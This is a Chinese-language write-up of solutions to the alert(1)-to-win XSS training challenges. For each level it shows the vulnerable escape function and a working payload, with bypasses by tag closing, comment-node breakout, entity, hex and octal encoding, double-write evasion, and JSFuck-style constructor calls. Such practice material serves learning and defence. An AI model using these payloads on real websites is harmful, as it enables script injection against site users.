alert(1)-to-win的payload与知识点总结

平台地址:https://alf.nu/alert1

[toc]

Warmup 无过滤

查看代码:

1
2
3
function escape(s) {
return '<script>console.log("'+s+'");</script>';
}

没有任何过滤,拼接构造出paylaod:1111");alert(1|",
拼接之后是这样的:<script>console.log("1111");alert(1|"");</script>

或者可以这样构造:1111");alert(1);//
用双斜杠把后面的注释掉。

Adobe 转义双引号

查看代码:

1
2
3
4
function escape(s) {
s = s.replace(/"/g, '\\"');
return '<script>console.log("' + s + '");</script>';
}

会把双引号转换为反斜杠加引号使引号转义导致引号不可用,但是他没有过滤反斜杠,可以使用反斜杠转义掉他添加的反斜杠。
payload:

1
1\");alert(1);//

JSON JSON.stringify()

查看代码:

1
2
3
4
function escape(s) {
s = JSON.stringify(s);
return '<script>console.log(' + s + ');</script>';
}

JSON.stringify()函数会转义双引号 " 与反斜杠 \ ,没有对 < > / ' 等字符进行转义。那么闭合script标签,创建一个新的script 标签来执行alert(1),用 // 注释掉多余的字符串。
payload:

1
</script><script>alert(1)//

Markdown

1
2
3
4
5
6
7
8
function escape(s) {
var text = s.replace(/</g, '<').replace(/"/g, '"');
// URLs
text = text.replace(/(http:\/\/\S+)/g, '<a href="$1">$1</a>');
// [[img123|Description]]
text = text.replace(/\[\[(\w+)\|(.+?)\]\]/g, '<img alt="$2" src="$1.gif">');
return text;
}

首先转义尖括号 < ,第二行是将形如 http://S+ 的字符串改写为

1
<a href="http://S+">http://S+</a>

(S+为匹配一个非空白字符一次或多次) 第三行将形如 [[a|b]] 的字符串改写为

1
<img alt="b" src="a.gif">

先放出payload:

1
[[a|http://onerror=alert(1)//]]

该payload的构造结果为:

1
<img alt="<a href="http://onerror1=alert(1)//" src="a.gif">">http://onerror=alert(1)//]]</a>

首先href的第一个 " 闭合掉alt的 " ,然后利用 // 代替空格,再用 // 注释掉最后的 "

DOM 构造createComment()

1
2
3
4
5
6
7
8
9
10
function escape(s) {
// Slightly too lazy to make two input fields.
// Pass in something like "TextNode#foo"
var m = s.split(/#/);

// Only slightly contrived at this point.
var a = document.createElement('div');
a.appendChild(document['create'+m[0]].apply(document, m.slice(1)));
return a.innerHTML;
}

这段代码要求输入一个形如 a#b 的字符串,然后#分割,前面的部分与create拼接形成一个createxxx的函数,document['create' + m[0]] 相当于调用了 document.createXXX()函数,
一开始我想使用 document.createTextNode() ,但是发现这个函数也会对双引号和反斜杠转义,只能用 document.createComment() ,这个函数会创建一个注释节点。
测试一下

1
Comment#111111

output:

1
<!--11111-->

那么只要闭合掉注释标签然后构造代码就好了
payload:

1
2
Comment#--><img/onerror=alert(1) src=x/>
Comment#><iframe/onload=alert(1)

Callback

1
2
3
4
5
6
7
8
9
function escape(s) {
// Pass inn "callback#userdata"
var thing = s.split(/#/);

if (!/^[a-zA-Z\[\]']*$/.test(thing[0])) return 'Invalid callback';
var obj = {'userdata': thing[1] };
var json = JSON.stringify(obj).replace(/</g, '\\u003c');
return "<script>" + thing[0] + "(" + json +")</script>";
}

第一个字段为 thing[0] 不允许有 a-z A-Z [ ] ' 中其他字符出现,第二个字段json对字符 \ " < 进行了转义。按照程序的结果,本意应该是构造下面这种形式Input

1
aaa#bbb

output:

1
<script>aaa({"userdata":"bbb"})</script>

但是 thing[0] 可以包含 [ ] ' 字符,却没有进行转义,那就简单了
payload:

1
'#'|alert(1)//

output:

1
<script>'({"userdata":"'|alert(1)//"})</script>

Skandia html编码绕过大写转换

1
2
3
function escape(s) {
return '<script>console.log("' + s.toUpperCase() + '")</script>';
}

toUpperCase() 函数将小写字符转换为大写字符,alert()函数会变成ALERT(),无法执行。 可以采用HTML实体编码来绕过
payload:

1
2
</script><iframe/onload=&#97&#108&#101&#114&#116(1)>
</script><img src=x onerror=&#97&#108&#101&#114&#116(1)> //

output:

1
<script>console.log("</SCRIPT><IMG SRC=X ONERROR=&#97&#108&#101&#114&#116(1)> //")</script>

Template 十六进制编码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
function escape(s) {
function htmlEscape(s) {
return s.replace(/./g, function(x) {
return { '<': '<', '>': '>', '&': '&', '"': '"', "'": ''' }[x] || x;
});
}

function expandTemplate(template, args) {
return template.replace(
/{(\w+)}/g,
function(_, n) {
return htmlEscape(args[n]);
});
}

return expandTemplate(
" \n\
<h2>Hello, <span id=name></span>!</h2> \n\
<script> \n\
var v = document.getElementById('name'); \n\
v.innerHTML = '<a href=#>{name}</a>'; \n\
<\/script> \n\
",
{ name : s }
);
}

这段代码会对 < > ' " & 字符进行转义,但是没有过滤 \ 于是可以使用十六进制编码进行bypass。
payload:

1
1\x3c/a\x3e\x3cimg/src=x onerror=alert(1)\x3e

output:

1
2
3
4
5
<h2>Hello, <span id=name></span>!</h2>         
<script>
var v = document.getElementById('name');
v.innerHTML = '<a href=#>1\x3c/a\x3e\x3cimg/src=x onerror=alert(1)\x3e</a>';
</script>

SON 2 双写绕过

1
2
3
4
5
function escape(s) {
s = JSON.stringify(s).replace(/<\/script/gi, '');

return '<script>console.log(' + s + ');</script>';
}

这段代码会把 </script 替换为空串,(g: 全局查找,i:忽略大小写),使用双写绕过
payload:

1
</scr</scriptipt><img/src=x onerror=alert(1)>

Callback 2 三种注释符

1
2
3
4
5
6
7
8
9
function escape(s) {
// Pass inn "callback#userdata"
var thing = s.split(/#/);

if (!/^[a-zA-Z\[\]']*$/.test(thing[0])) return 'Invalid callback';
var obj = {'userdata': thing[1] };
var json = JSON.stringify(obj).replace(/\//g, '\\/');
return "<script>" + thing[0] + "(" + json +")</script>";
}

Callback的加强版本,转义了 / ,无法构造 // 注释了,如果了解 javascript的注释是有三种的,分别为 // /**/ <!-- ,那么利用第三种就可以轻松绕过了
payload:

1
'#'|alert(1);<!--

Skandia 2 jsfuck编码

1
2
3
4
5
function escape(s) {
if (/[<>]/.test(s)) return '-';

return '<script>console.log("' + s.toUpperCase() + '")</script>';
}

过滤了尖括号,而且变大写,只能使用编码绕过,aaencode和jsfuck都可以,但是写出的payload都超出了1000字符。如果图省事也可以使用jjencode编码,537个字符。
但是还是太长了,要寻找一种短一点的payload,参考jsfuck的工作原理:https://github.com/aemkei/jsfuck#basics
要执行代码就要构造出形如这样的payload

1
[]["fill"]["constructor"]("alert(1)")()

这样可以执行alert(1),
payload:

1
");_=!1+URL+!0,[][_[0]+_[10]+_[2]+_[2]][_[8]+_[11]+_[7]+_[3]+_[9]+_[38]+_[39]+_[8]+_[9]+_[11]+_[38]](_[1]+_[2]+_[4]+_[38]+_[9]+'(1)')()//

还可以使用八进制编码进行绕过:

1
"|[]['\160\157\160']['\143\157\156\163\164\162\165\143\164\157\162']('\141\154\145\162\164(1)')()|"